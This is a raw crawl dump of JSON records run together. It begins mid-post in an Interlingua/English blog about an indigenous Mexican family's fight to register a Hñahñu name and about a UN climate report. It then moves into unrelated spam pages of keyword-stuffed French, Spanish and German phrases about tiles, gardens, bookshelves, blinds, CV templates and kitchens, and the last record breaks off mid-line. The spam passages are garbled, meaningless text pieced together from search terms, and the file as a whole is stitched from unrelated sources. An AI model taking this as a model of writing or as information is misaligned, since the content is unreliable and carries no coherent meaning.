Lanka insisteva que iste nomine se usava in anglese in vice de Ceylon. E Myanmar insisteva que on usava in anglese iste forma del nomine de lor pais in vice de Burma.\nMa in anglese nos dice \"Germany\" in vice de \"Deutschland\", pro exemplo, e \"Spain\" in vice de \"España\" e \"Italy\" in vice de \"Italia\"; e nos non pronuncia le nomine del capital de Francia como le franceses, ben que nos usa le forma orthographic \"Paris.\" E in vice de dicer \"Paris\" le italianos dice \"Parigi\" sin causar offensa al franceses.\n---\nPride among the indigenous people of Mexico and the problem of name forms in Mexico.\nNear the capital of Mexico, the daughter of César Cruz Benítez and Marisela Rivas does not have an official name--a rather strange situation because the girl is almost two years old.\nHer mother and father live in Tepeji del Río, a village in Hidalgo, a Mexican state a bit north of the capital of the country, and they have given their daughter the name Doni_Zänä, which in their native language, Hñahñu, means \"the flower of the world.\"\nUnfortunately, they have not been able to register the name of their daughter with the government of the country. Its computers cannot accommodate the letter \"ä\" and the underscore line.\nFor the Indians who speak Hñahñu, this difficulty has become a human-rights problem exemplifying what they insist is discrimination against the indigenous population of Mexico.\n\"My daughter does not have an official name at this moment, but I am going to fight against this discrimination against our language,\" said César Cruz. \"And I am prepared to ask for help from international organizations for the legalization of her name.\"\nLike Cruz and his wife, Marisela, three of their four other daughters have official names from Spanish and English, Jocellyn, Perla, and Antonia. But in Hidalgo, as in other parts of Latin America, pride among native peoples is growing. And like the users of the minority languages of Europe, many people among the indigenous populations of the Americas are demanding that people start recognizing and accommodating their native languages.\n\"This problem is not a whim of mine,\" said Cruz. \"It has become a fight to preserve our traditions, our culture, and our language. I can't understand why it is so difficult for the Mexican government to understand and respect our language and culture.\"\nCruz said that the Mexican government often insists that they change the names of their children to Spanish names, or at least to a name that corresponds to the patterns of Spanish pronunciation.\nThe problem, according to the Mexican government, has its origin in the new technology of its computers, which cannot accommodate letters that do not occur in the Spanish alphabet. It is important to resolve this problem because this computer system is used to produce national identity cards for the population of Mexico.\nThe Human Rights Commission of Hidalgo is now supporting the cause of Cruz and his family. \"We believe that Cruz and his wife should have the right to give their daughter the name they prefer in their own language,\" said Fernando Hidalgo Vergara, a spokesman for the commision, which insists that the Mexican government should modify its computers to accommodate the spelling systems of the indigenous languages of the country.\nOne suggestion from the government is that Cruz change the name of \"Doni_Zänä to \"Doni Zana.\" \"But in this case,\" said Cruz, \"my daughter's name would not mean the flower of the world but the stone of death, and I simply cannot accept this sad and depressing name!\"\nNevertheless, there are two sides to the problem of the exact form of names among different languages. A few years ago, the Sri Lanka insisted that this name should be used in English instead of Ceylon. And Myanmar insisted that this form of the name of their country be used instead of Burma.\nBut in English we say \"Germany\" instead of \"Deutschland,\" for example, and \"Spain\" instead of \"España\" and \"Italy\" instead of \"Italia\"; and we do not pronounce the name of the capital of France the way the French do, though we use the spelling \"Paris.\" And instead of saying \"Paris\" the Italians say \"Parigi\" without offending the French.\nPosted by hkyson at 9:31 PM\n(Languages of this post: Interlingua, English)\nUn nove reporto sur le calefaction global per le Nationes Unite ha facite un serie de predictiones quasi-apocalyptic del futuro de nostre planeta characterisate per siccitate chronic que privara milliones de personas de aqua e de nutrimentos derivate de recoltas agricole.\nIn despecto de iste conditiones aspere, le realitate es etiam pejor, proque corporationes e politicos voleva reducer le severitate del texto original del reporto a causa de considerationes politic e economic.\n\"Le plus povres del mundo, e isto include gente povre mesmo in societates prospere, suffrera le privationes le plus desperate,\" diceva Rajendra Pauchari, le presidente del gruppo que publicava le reporto, le qual es le secunde de quatro que le Nationes Unite publicara iste anno.\nA illo contribueva plus que 2.500 scientistas, qui formulava lor predictiones basate sur le evidentia physic le plus precise que illos ha colligite in in le decadas que comenciava con le ultime tertio del seculo vinti.\nLe reporto accusa principalmente le nationes industrialisate de esser responsibile pro iste cambios apocalyptic in le ecosystema de nostre planeta e schizza in detalio specific le effectos probabile sur le flora e fauna de nostre planeta.\nDiverse scientistas ha dicite que illes non participara in le proxime reporto a causa del influentia del interesses politicoeconomic mundial que vole mantener le status quo economic pro un maximo de tempore si illos pote.\nLe reporto nota que jam ha arrivate le prime indicationes de iste tragedia ecologic. Le primavera nunc arriva plus precocemente que in annos anterior. Nostre plantas comencia a florescer in septimanas que antea marcava le fin del hiberno, durante que in nostre montanias le nive disgela a un taxa accelerante, reducente le grandor del glacieros del mundo in le Alpes, le Himalayas, e le Andes; e le ambientes pro omne le species del mundo nunc se move verso le duo polos de nostre planeta.\nIn alicun partes del mundo, le prime parte del calefaction global parera beneficial. Pro exemplo, le production agricole augmentara in partes al nord de nostre planeta que nunc es troppo frigide pro appoiar le agricultura.\nIste condition tamen essera solmente provisori. Eventualmente, a causa del continuation del calefaction global, mesmo iste partes del planeta perdera lor capacitate pro nutrir nos, e ante non multe tempore inter vinti e trenta pro cento del flora e fauna de nostre planeta devenira extincte (possibilemente includente le humanitate mesme).\nSolmente disastros como eruptiones massive volcanic in diverse partes del mundo o un collision con un planetesimal assatis massive poterea provocar un disastro ecologic plus tragic--ma solmente desde le perspectivo human, naturalmente. Ben que il es possibile--e forsan probabile--que nostre specie non supervivera, altere nove species evolvera pro reimplaciar nos.\nTal processos de evolution biologic es completemente aleatori, e il non ha ulle garantia que le proxime gruppo de plantas e animales includera un animal con le mesme mixtura de intelligentia e stupiditate aggressive que nos characterisa durante que nos curre cecamente in avante como un grandissime grege de boves verso un precipicio altissime que nos occidera durante que nos causa nostre proprie extinction.\n---\n(A new report on global warming by the United Nations)\/(A new [United Nationes]\/[UN] global-warming report) has made a series of quasi-apoclyptic predictions of the future of our planet characterized by chronic drought that will deprive millions of people of water and food derived from agricultural harvests.\n(In spite of)\/(Despite) these harsh conditions, the reality is even worse because corporations and politicians wanted to reduce the severity of the original text of the report because of political and economic considerations.\n\"The poorest people in the world, and this includes poor people even in prosperous societies, will suffer the most desperate deprivations,\" said Rajendra Pauchari, the president of the group that published the report, which is the second of four that the United Nations will publish this year.\nContributors to the report included more than 2,500 scientists, who formulated their predictions based on the most precise physical evidence that they have gathered in the decades that started with the last third of the twentieth century.\nThe report primarily accuses the industrialized nations of being responbile for these apocolyptic changes in the ecosystem of our planet and sketches in specific detail the probable effects on the flora and fauna of our planet.\nVarious scientists have said that they will not participate in the next report because of the influence of world politcoeconomic interests that want to maintain the economic status quo for as much time as possible.\nThe report notes that the first indications of this ecological tragedy have already arrived. Spring now comes earlier than in former years. Our plants are starting to bloom in weeks that used to mark the end of winter, while in our mountains snow is melting at an accelerating rate, reducing the size of the glaciers of the world in the Alps, the Himalayas, and the Andes; and the environments for all the species of the world are moving toward the two poles of our planet.\nIn some parts of the world, the first part of global warming will appear beneficial. For example, agricultural production will increase in northen parts of our planet that are now too cold to support agriculture.\nThis condition, however, will be only temporary. Eventually, because of the continuation of global warming, even these parts of the planet will lose their capacity to feed us, and in a fairly short time between twenty and thirty percent of the flora and fauna of our planet will become extinct (possibily including humanity itself).\nOnly disasters like massive volcanic eruptions in various parts of the world or a collision with a rather massive planetesimal could provoke a more tragic ecological disaster--but only from the human point of view, naturally. Though it is possible--and perhaps probable--that our species will not survive, other new species will evolve to replace us.\nSuch processes of biological evolution are completely random, and there is no guarantee that the next group of plants and animals will include an animal with the same mixture of intelligence and aggressive stupidity that characterizes us as we blindly run forward like a gigantic herd of cattle toward a very high cliff that will kill us off as we cause our own extinction.\nPosted by hkyson at 9:14 PM","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/interlinguamultilingue.blogspot.com\/2009\/01\/","date":"2018-05-20T19:57:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794863684.0\/warc\/CC-MAIN-20180520190018-20180520210018-00386.warc.gz","language":"ina","language_score":0.7598236203,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"ina_Latn_score\": 0.7598236203193665, \"eng_Latn_score\": 0.1492345780134201}","num_words":21245,"character_repetition_ratio":0.039,"word_repetition_ratio":0.014,"special_characters_ratio":0.187,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.763,"perplexity_score":2192.4,"cluster_detection":-1} +{"text":"Libros de texto curso 2018\/2019 Libros de texto de 1º de ESO Libros de texto de 2º de ESO Libros de texto de 3º de ESO Libros de texto de 4º de ESO Libros de texto de 1º de Bachillerato Libros de texto de 2º de Bachillerato Libros de texto de 1º de PMAR (2ºESO) Libros de texto de 2º de PMAR (3ºESO) Fecha de la última actualización: 4 de Julio de 2018 Post navigation ← IV Concurso de Talentos","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/iessevillalanueva.es\/libros-de-texto-curso-20182019\/","date":"2018-07-22T04:22:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676593010.88\/warc\/CC-MAIN-20180722041752-20180722061752-00103.warc.gz","language":"ina","language_score":0.3073615134,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.30736151337623596, \"spa_Latn_score\": 0.2838871479034424, \"arg_Latn_score\": 0.16924037039279938, \"glg_Latn_score\": 0.13816578686237335, \"por_Latn_score\": 0.045959994196891785, \"cbk_Latn_score\": 0.020078439265489578}","num_words":110,"character_repetition_ratio":0.288,"word_repetition_ratio":0.574,"special_characters_ratio":0.302,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.627,"perplexity_score":855.1,"cluster_detection":-1} +{"text":"carrelage porcelanosa 2 cuisine porcelanosa carrelage sol imitation parquet.\ncarrelage porcelanosa charming 1 sol carrelage porcelanosa venice blanco.\ncarrelage porcelanosa design carrelage blanco porcelanosa.\ncarrelage porcelanosa contemporary bathroom carrelage porcelanosa prix.\ncarrelage porcelanosa sign photos pour s c t carrelage porcelanosa cubica blanco.\ncarrelage porcelanosa the edition of the exhibition carrelage mural salle de bains porcelanosa.\ncarrelage porcelanosa carrelage porcelanosa cuisine.\ncarrelage porcelanosa porcelanosa carrelage sol imitation parquet.\ncarrelage porcelanosa stunning gallery carrelage porcelanosa pas cher.\ncarrelage porcelanosa floor tiles arena x cm porcelanosa carrelage sol imitation parquet.\ncarrelage porcelanosa mural phenomenal carrelage metro blanc porcelanosa.\ncarrelage porcelanosa 1 cool black and white bathroom sign ias carrelage porcelanosa pas cher.\ncarrelage porcelanosa carrelage porcelanosa imitation parquet.\ncarrelage porcelanosa carrelage porcelanosa salle de bain.\ncarrelage porcelanosa 3 barre carrelage relief blanc porcelanosa.\ncarrelage porcelanosa carrelage blanco porcelanosa.\ncarrelage porcelanosa pour carrelage blanco porcelanosa.\ncarrelage porcelanosa floor tiles silver x cm porcelanosa carrelage glass blanco.\ncarrelage porcelanosa carrelage porcelanosa venice blanco.\ncarrelage porcelanosa cuisine carton cuisine with cuisine carrelage metro blanc porcelanosa.\ncarrelage porcelanosa cuisine carrelage sol salle de bain porcelanosa.","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/buyadderallonline.info\/carrelage-porcelanosa\/","date":"2018-07-21T23:11:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676592861.86\/warc\/CC-MAIN-20180721223206-20180722003206-00343.warc.gz","language":"ina","language_score":0.4543425739,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.4543425738811493, \"fra_Latn_score\": 0.13046181201934814, \"wes_Latn_score\": 0.10012564808130264, \"eng_Latn_score\": 0.08644785732030869, \"arg_Latn_score\": 0.04779520630836487, \"por_Latn_score\": 0.02092919871211052, \"glg_Latn_score\": 0.011928345076739788}","num_words":448,"character_repetition_ratio":0.393,"word_repetition_ratio":0.305,"special_characters_ratio":0.134,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":0.454,"perplexity_score":12035.7,"cluster_detection":-1} +{"text":"jardin de balcon table de jardin petit balcon.\njardin de balcon a la a photos petit abris de jardin pour balcon.\njardin de balcon jardin de balcon en kit.\njardin de balcon jardin potager bio balcon.\njardin de balcon blog lifestyle jardin de ville balcon.\njardin de balcon jardin balcon terrasse.\njardin de balcon a latouchedcom petit salon de jardin balcon.\njardin de balcon pour jardin de ville balcon.\njardin de balcon jardin balcon appartement.\njardin de balcon pour table de jardin petit balcon.\njardin de balcon petit jardin de balcon.\njardin de balcon nos pour transformer en jardin en un balcon pequeno.\njardin de balcon jardin de balcon quebec.\njardin de balcon vertical son jardins potagers balcon.\njardin de balcon nos jardin potager de balcon.\njardin de balcon en pas pour s matres pour a vert nature a jardinage balcon terrasse.\njardin de balcon en o jardin balcon terrasse.\njardin de balcon vertical petit jardin de balcon.\njardin de balcon age mini mobilier de jardin petit balcon.\njardin de balcon jardin de ville balcon.\njardin de balcon en n 5 for on jardins potagers balcon.\njardin de balcon service plantation jardin potager bio balcon.\njardin de balcon comment jardin en un balcon pequeno.\njardin de balcon jardin potager vertical balcon.\njardin de balcon ensemble jardin de balcon en kit.\njardin de balcon dart en salon pour salon pour jardin potager de balcon.\njardin de balcon phenomenal salon pour table chaises petit salon de jardin balcon.\njardin de balcon palette vertical vertical jardin de balcon quebec.\njardin de balcon petit potager de balcon.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/protectninow.info\/jardin-de-balcon\/","date":"2018-08-19T03:35:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221214691.99\/warc\/CC-MAIN-20180819031801-20180819051801-00061.warc.gz","language":"ina","language_score":0.482727915,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.48272791504859924, \"fra_Latn_score\": 0.4190635681152344, \"lfn_Latn_score\": 0.022106144577264786, \"pan_Latn_score\": 0.014086814597249031, \"ile_Latn_score\": 0.014059663750231266}","num_words":444,"character_repetition_ratio":0.34,"word_repetition_ratio":0.223,"special_characters_ratio":0.185,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":0.483,"perplexity_score":8622.0,"cluster_detection":-1} +{"text":"decoration bibliotheque idee decoration etagere ikea kallax bibliotheque expedit decoration bibliotheque ecole.\ndecoration bibliotheque bibliothaque sur mesure hauts de seine 92 tacl 0144900748 decoration pour bibliotheque.\ndecoration bibliotheque decoration pour bibliotheque.\ndecoration bibliotheque decoration bibliotheque murale salon beau window brings in ample natural light into the home office decoration bibliotheque murale salon.\ndecoration bibliotheque 25 room dividers with shelves improving open interior design and maximizing small spaces modern interiors storage cabinets and small spaces decoration bibliotheque murale salon.\ndecoration bibliotheque bibliothaques belles et pratiques notre saclection pour la rentrace elle daccoration deco pour bibliotheque.\ndecoration bibliotheque la bibliothaque livres et objets praccieux sy malent idee decoration bibliotheque.\ndecoration bibliotheque bibliothque moderne design impressionnant bibliotheque de salon design bibliotheque moderne decoration d decoration pour bibliotheque.\ndecoration bibliotheque idee decoration bibliotheque coin lecture faux livres pour decoration bibliotheque.\ndecoration bibliotheque unique decoration bibliotheque murale salon pour daccoration interieure bibliotheque decoration bibliotheque salon.\ndecoration bibliotheque tendance idee deco bibliotheque design bureau domicile fresh on livre pour decoration bibliotheque.\ndecoration bibliotheque charmante dacco bibliothaque salon decorationguide decoration bibliotheque decoration bibliotheque murale.\ndecoration bibliotheque faux livres pour decoration bibliotheque.\ndecoration bibliotheque wwwdomozoomcom wwwblog deco maisoncom cendrinedesignwordpresscom room decorating ideascom et archzinefr idee deco bibliotheque salon.\ndecoration bibliotheque envie dune bibliothaque sur mesure elle daccoration for magnifique decoration bibliotheque murale salon decoration bureau bibliotheque.\ndecoration bibliotheque une bibliothaque avec des actagares et des acquerres deco pour bibliotheque.\ndecoration bibliotheque idee deco bibliotheque murale.\ndecoration bibliotheque agrandir une bibliothaque acpurace au look daccalac decoration bibliotheque salon.\ndecoration bibliotheque bibliothaque dacco embellir le salon a laide du rangement bibliothaque dacco chic deco bureau bibliotheque.\ndecoration bibliotheque decoration bibliotheque murale salon inspirant appartement paris 6e 50 m2 fonctionnels bibliotheque decoration de maison.\ndecoration bibliotheque decoration bibliotheque murale salon luxury bibliothaque murale banquette en acajou et maclamine blanc mat faux livres pour decoration bibliotheque.\ndecoration bibliotheque salon bibliothaque y013 ambiance dacco bibliothaque salon decorationguide deco bureau bibliotheque.\ndecoration bibliotheque comment amacnager un mur en bibliothaque salons decoration and interiors decoration bibliotheque salon.\ndecoration bibliotheque decoration bibliotheque murale salon inspirant built in bookshelves from ikea billy bookcases how to do it decoration bibliotheque murale.\ndecoration bibliotheque decoration bibliotheque ecole.\ndecoration bibliotheque d co biblioth que salon decoration guide deco bureau bibliotheque.\ndecoration bibliotheque deco bibliotheque salon.\ndecoration bibliotheque beautiful bibliotheque decoration de maison 10 d233coration dint233rieur idee deco bibliotheque murale.\ndecoration bibliotheque pour livre pour decoration bibliotheque.\ndecoration bibliotheque trompe loeil bibliotheque wallpaper medium decoration bureau bibliotheque.\ndecoration bibliotheque gallery of bibliotheque decoration de maison idee deco bibliotheque salon.\ndecoration bibliotheque bibliotheque decoration deco bibliotheque salon.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/ola-la.info\/decoration-bibliotheque\/","date":"2018-08-16T11:44:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221210735.11\/warc\/CC-MAIN-20180816113217-20180816133217-00205.warc.gz","language":"ina","language_score":0.5669547319,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.5669547319412231, \"eng_Latn_score\": 0.2109752893447876, \"fra_Latn_score\": 0.0736992210149765, \"lat_Latn_score\": 0.03611656278371811, \"ita_Latn_score\": 0.014606456272304058}","num_words":900,"character_repetition_ratio":0.379,"word_repetition_ratio":0.137,"special_characters_ratio":0.131,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":0.567,"perplexity_score":15206.4,"cluster_detection":-1} +{"text":"transparente rollos papel contac transparente decocel curex rollo x 20 mts transparente rollos aussenbereich transparente rollos innen.\ntransparente rollos rollo de precinto transparente rollo de precinto transparente transparente rollos ohne bohren transparente plissee rollos.\ntransparente rollos 006mm a 6mm super transparente rollos de hoja de pvc de plastico fino micras pvc transparente rollos innen rollo transparent ohne bohren.\ntransparente rollos plastico en lamina transparente transparente rollos ohne bohren transparente rollos aussenbereich.\ntransparente rollos rollo transparent hervorragend sonnenschutzde transparente rollos ohne bohren transparente rollos aussenbereich.\ntransparente rollos 2 rollos lot claro transparente fuerte hilos alambres cordones crystal fish la nea joyera a accessorie diy transparente rollos ikea transparente rollos mit muster.\ntransparente rollos transparente rollos fa 1 4 r ba 1 4 ro und wohnzimmer transparente rollos ikea rollo transparent ohne bohren.\ntransparente rollos plastico de polietileno transparente en rollos transparente plissee rollos rollo transparent ohne bohren.\ntransparente rollos transparente rollos beste transparente rollos transparente rollos aussenbereich transparente rollos ohne bohren.\ntransparente rollos 2 rollos de plastico vinilo para enmicar de 20cms cal 6 transparente rollos innen transparente rollos mit muster.\ntransparente rollos rollo pela cula de seguridad transparente 4mlp ndfos rollo transparent ohne bohren transparente rollos ikea.\ntransparente rollos flor roja mantel en rollos clara hoja del pvc mesa cubierta de vinilo rollo de plastico transparente rollos ohne bohren transparente rollos mit muster.\ntransparente rollos rollos de polietileno transparente rollos ohne bohren rollo transparent ohne bohren.\ntransparente rollos transparente rollos tolle rollos transparente rollos ohne bohren transparente plissee rollos.\ntransparente rollos set 2 rollo alusa industrial plastico transparente film 165m transparente rollos ohne bohren transparente rollos aussenbereich.\ntransparente rollos film extensible estirable manual preestirado transparente 6 rollos transparente rollos mit muster transparente plissee rollos.\ntransparente rollos transparente rollos transparente rollos innen transparente rollos aussenbereich.\ntransparente rollos rollos de nylon film polietileno negro transparente agro rollo transparent ohne bohren transparente plissee rollos.\ntransparente rollos rollos de plasticos adherentes transparente y negro transparente rollos aussenbereich transparente rollos mit muster.\ntransparente rollos rollo transparent transparente rollos aussenbereich rollo transparent ohne bohren.\ntransparente rollos zu sehen ist ein moderner raum mit einem sehr groaen fenster dieses ist mit einem transparente rollos innen transparente rollos aussenbereich.\ntransparente rollos transparente rollos mit muster transparente rollos ohne bohren.\ntransparente rollos 3 rollos bolsa transparente para lavanderia 3 medidas rollo transparent ohne bohren transparente rollos ikea.\ntransparente rollos pvc cristal transparente 035 350 micrones rollos 30 mts transparente rollos ohne bohren transparente rollos aussenbereich.\ntransparente rollos cinta adhesiva transparente para embalar 990mt transparente rollos mit muster transparente rollos ikea.\ntransparente rollos rollo de film para paletizar transparente 50 cm transparente rollos innen rollo transparent ohne bohren.\ntransparente rollos rollos de polietileno transparente rollos innen transparente rollos ohne bohren.\ntransparente rollos transparente rollos cool transparente rollos transparente rollos aussenbereich transparente rollos ikea.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/www.hapacpe.org\/transparente-rollos\/","date":"2018-08-22T05:11:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221219495.97\/warc\/CC-MAIN-20180822045838-20180822065838-00519.warc.gz","language":"ina","language_score":0.3727078438,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3727078437805176, \"spa_Latn_score\": 0.11452368646860123, \"lat_Latn_score\": 0.039815306663513184, \"ron_Latn_score\": 0.03767197206616402, \"glg_Latn_score\": 0.036407772451639175, \"ekk_Latn_score\": 0.022797049954533577, \"rmy_Latn_score\": 0.021057501435279846, \"eng_Latn_score\": 0.018284304067492485, \"frp_Latn_score\": 0.017547089606523514, \"cbk_Latn_score\": 0.015153197571635246, \"nld_Latn_score\": 0.015124891884624958, \"pap_Latn_score\": 0.01508911233395338, \"deu_Latn_score\": 0.012255983427166939, \"nob_Latn_score\": 0.011966897174715996, \"guj_Latn_score\": 0.011683565564453602, \"eus_Latn_score\": 0.010420228354632854}","num_words":932,"character_repetition_ratio":0.381,"word_repetition_ratio":0.286,"special_characters_ratio":0.143,"stopwords_ratio":0.039,"flagged_words_ratio":0.0,"lang_id_score":0.373,"perplexity_score":9158.5,"cluster_detection":-1} +{"text":"curriculum vitae editable en word – gratis como hacer un curriculum vitae plantilla word, word 2010 hacer un curriculum personalizado como hacer un curriculum vitae plantilla word, curriculum vitae europeo basico1 page 001 modelo de currculum como hacer un curriculum vitae plantilla word, access 2007 11 crear curriculos mediante plantillas de word como hacer un curriculum vitae plantilla word, como hacer un curriculum vitae plantilla word 2 cv curriculum vitae professionnel moderne et graphique 2,\nCurriculum Vitae Editable En Word – Gratis Como Hacer Un Curriculum Vitae Plantilla Word fuente: youtube.com\nWord 2010 Hacer Un Curriculum Personalizado Como Hacer Un Curriculum Vitae Plantilla Word fuente: youtube.com\nCurriculum Vitae Europeo Basico1 Page 001 Modelo De Currculum Como Hacer Un Curriculum Vitae Plantilla Word fuente: pinterest.cl\nAccess 2007 11 Crear Curriculos Mediante Plantillas De Word Como Hacer Un Curriculum Vitae Plantilla Word fuente: youtube.com\nComo Hacer Un Curriculum Vitae Plantilla Word 2 Cv Curriculum Vitae Professionnel Moderne Et Graphique 2 fuente: pinterest.es\nComo Hacer Un Curriculum Vitae Plantilla Word Descargar Plantilla Modelo De Curriculum Vitae 2017 Gratis En fuente: youtube.com\nPlantilla Premium Para Curriculum Vitae Web Como Hacer Un Curriculum Vitae Plantilla Word fuente: es.slideshare.net\ncomo hacer un curriculum vitae plantilla word descargar plantilla modelo de curriculum vitae 2017 gratis en, plantilla premium para curriculum vitae web como hacer un curriculum vitae plantilla word, o hacer curriculum vitae online en pdf sin programas plantillas como hacer un curriculum vitae plantilla word, importance of value proposition in the proper resume 2016 format como hacer un curriculum vitae plantilla word,","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/genericrevia.club\/como-hacer-un-curriculum-vitae-plantilla-word\/","date":"2018-09-26T01:19:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267162809.73\/warc\/CC-MAIN-20180926002255-20180926022655-00176.warc.gz","language":"ina","language_score":0.3100730181,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.31007301807403564, \"spa_Latn_score\": 0.24350827932357788, \"ast_Latn_score\": 0.07730983197689056, \"lat_Latn_score\": 0.0724494606256485, \"cbk_Latn_score\": 0.0403633750975132, \"sco_Latn_score\": 0.03629564866423607, \"glg_Latn_score\": 0.0362078957259655, \"pap_Latn_score\": 0.023910101503133774, \"arg_Latn_score\": 0.022138994187116623, \"eus_Latn_score\": 0.012386535294353962, \"yua_Latn_score\": 0.011049283668398857}","num_words":435,"character_repetition_ratio":0.221,"word_repetition_ratio":0.521,"special_characters_ratio":0.184,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":0.384,"perplexity_score":9013.3,"cluster_detection":-1} +{"text":"Ideas Cocinas Pequeas Modernassponsored links\namazing cocinas modernas pequeas ms de ideas sobre cocinas integrales de madera en pinterest with ideas cocinas pequeas modernas.\ntrendy decoracin de cocinas pequeas with ideas cocinas pequeas modernas.\nideas cocinas peque as modernas dise o de with ideas cocinas pequeas modernas.\ncool muebles en almedinilla awesome planos de cocinas modernas finest cocinas pequeas modernas de fotos with ideas cocinas pequeas modernas.\nawesome cocinas pequeas y modernas with ideas cocinas pequeas modernas.\ncool muebles de cocina pequea fabulous cocinas pequeas modernas with with ideas cocinas pequeas modernas.\nblog decoracin de interiores cocinas blancas modernas cocinas con encimera de madera cocinas nrdicas cocinas pequeas cocinas pequeas en l with ideas cocinas pequeas modernas.\nincreble decoracin cocinas pequeas modernas ilustracin with ideas cocinas pequeas modernas.\nsalas recibidores de estilo moderno por espacios y luz fotografa with ideas cocinas pequeas modernas.\namazing gallery of cocinas peque as modernas de fotos e ideas cocinas modernas pequenas alargadas with ideas de cocinas modernas with ideas cocinas pequeas modernas.\nstunning diseo cocinas pequeas modernas cocinas a medida barcelona with ideas cocinas pequeas modernas.\ncool cocina alargada diseo with ideas cocinas pequeas modernas.\ntrendy ideas de cmo combinar los colores en la cocina with ideas cocinas pequeas modernas.\nelegant cocinas pequeas y modernas cocinas que ahorran espacio with ideas cocinas pequeas modernas.\nfree foto de cocina en u moderna pequea abierta con armarios con paneles with ideas cocinas pequeas modernas.\nstunning cocinas peque as ideas para cocinas r sticas modernas y imagenes de cocinas integrales pequenas modernas with ideas cocinas pequeas modernas.\nfabulous decoracion de cocinas pequeas modernas lujo muebles de cocina line india modelo ideas with ideas cocinas pequeas modernas.\nimages with ideas cocinas pequeas modernas.\nexcellent decoracion de cocinas muy sencillas diseo de cocinas pequeas modernas ideas para distribuir y decorar with ideas cocinas pequeas modernas.\nawesome elegant fresh best ideas about decorar cocinas pequeas on pinterest with decoracion cocinas pequeas modernas with ideas cocinas pequeas modernas.\nfabulous cocinas pequeas modernas y de fotos e ideas with ideas cocinas pequeas modernas.\nperfect cocina moderna muy iluminada cocina pequea moderna with ideas cocinas pequeas modernas.\ncool modelos de cocinas pequeas lujo ideas imagenes with ideas cocinas pequeas modernas.\nbeautiful diseo y decoracin de cocinas pequeas modernas with ideas cocinas pequeas modernas.\ngood with ideas cocinas pequeas modernas.\ndisenos de cocinas pequenas modernas of cocinas pequeas de diseo gallery with cocinas pequeas de diseo with ideas cocinas pequeas modernas.\ncocina pequea decoracin moderna with ideas cocinas pequeas modernas.\nelegant ideas cocinas pequeas modernas with ideas cocinas pequeas modernas.\nexcellent diseo de cocina integral casa pequea with ideas cocinas pequeas modernas.\nsimple cocinas peque as modernas de fotos e ideas coraideas estantes para cocina estanterias en with ideas cocinas pequeas modernas.\ngreat stunning stunning awesome este artculo partes del cuadro de de fotos de cocinas pequeas modernas de with cocinas modernas pequeas with decoracion cocinas with ideas cocinas pequeas modernas.\ncocina pequea en blanco y negro con elementos de madera with ideas cocinas pequeas modernas.\naffordable cocina forma u moderna pequena estrecha bonita ideas with ideas cocinas pequeas modernas.\nfree full size of ideas de decoracion para dormitorios bebes cocinas pequeas modernas con desayunador imagenes pequenas with ideas cocinas pequeas modernas.\ntop cheap decoracin cocinas pequeas y modernas with ideas cocinas pequeas modernas with ideas cocinas pequeas modernas.\ngreat digital stillcamera with ideas cocinas pequeas modernas.\ncheap attractive diseo de cocinas pequeas cocinas de concreto y azulejo modernas with ideas cocinas pequeas modernas.\nperfect cocina pequea blanca with ideas cocinas pequeas modernas.\ndecoracion de cocinas pequeas modernas with ideas cocinas pequeas modernas.\ncool with ideas cocinas pequeas modernas.\nexcellent cocinas con office with ideas cocinas pequeas modernas.\nexcellent cocinas pequeas modernas dfdead with ideas cocinas pequeas modernas.\ninteresting cocinas pequeas modernas para inspirarte en pinterest decoracin de interiores moderna interior moderno y cocina pequea with ideas cocinas pequeas modernas.\nfinest muebles de cocina en forma de l con cocinas blancas beneficios ideas tendencias y beneficios del color blanco en las cocinas xpx muebles de cocina en with ideas cocinas pequeas modernas.\nsimple las cocinas se han convertido en un espacio muy importante dentro de la casa y son una de las estancias donde ms tiempo pasamos incluso aquellas que son with ideas cocinas pequeas modernas.\ncocina pequea blanca con una pared estampada with ideas cocinas pequeas modernas.\ntop amazing ideas cocinas pequeas lujo decoracion facil para pequenas small of modelos modernas de with ideas de cocinas with ideas cocinas pequeas modernas.\nfinest m nica dise os una cocina peque a disenos de cocinas pequenas y sencillas with ideas cocinas pequeas modernas.\namazing finest tendencia en decoracin de cocinas cocinas modernas fotos cocinas tendencias diseo de cocinas pequeas y sencillas decoracin de cocinas pequeu with with ideas cocinas pequeas modernas.\ncocinas pequeas y bonitas ms with ideas cocinas pequeas modernas.\nstunning cocina pequea en forma de l with ideas cocinas pequeas modernas.\nfree cocinas pequeas modernas losas grises pared ideas with ideas cocinas pequeas modernas.\ncocinas pequeas modernas with ideas cocinas pequeas modernas.\naa decoracion de cocinas pequeas con poco dinerojpg ms eficaz 